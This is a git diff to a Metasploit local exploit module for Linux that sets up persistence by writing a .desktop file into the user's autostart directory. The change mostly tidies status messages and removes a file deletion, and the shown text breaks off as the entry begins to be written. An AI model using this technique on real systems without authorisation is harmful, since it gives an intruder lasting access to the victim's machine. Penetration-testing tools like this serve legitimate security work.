diff --git a/modules/exploits/linux/local/autostart_persistence.rb b/modules/exploits/linux/local/autostart_persistence.rb
index 29b07bdaf4..618491ba04 100644
--- a/modules/exploits/linux/local/autostart_persistence.rb
+++ b/modules/exploits/linux/local/autostart_persistence.rb
@@ -39,18 +39,15 @@ class MetasploitModule < Msf::Exploit::Local
 
   def exploit
     name = datastore['NAME'] ? datastore['NAME'] : Rex::Text.rand_text_alpha(5)
-    vprint_status ("Name is #{name}")
 
     home = cmd_exec('echo ~')
 
     path = "#{home}/.config/autostart/#{name}.desktop"
-    print_status("Creating #{path}")
 
     print_status('Making sure the autostart directory exists')
     cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists
 
-    print_status('Uploading autostart file')
-    cmd_exec("rm #{path}")
+    print_status("Uploading autostart file #{path}")
 
     write_file(path, [
       "[Desktop Entry]",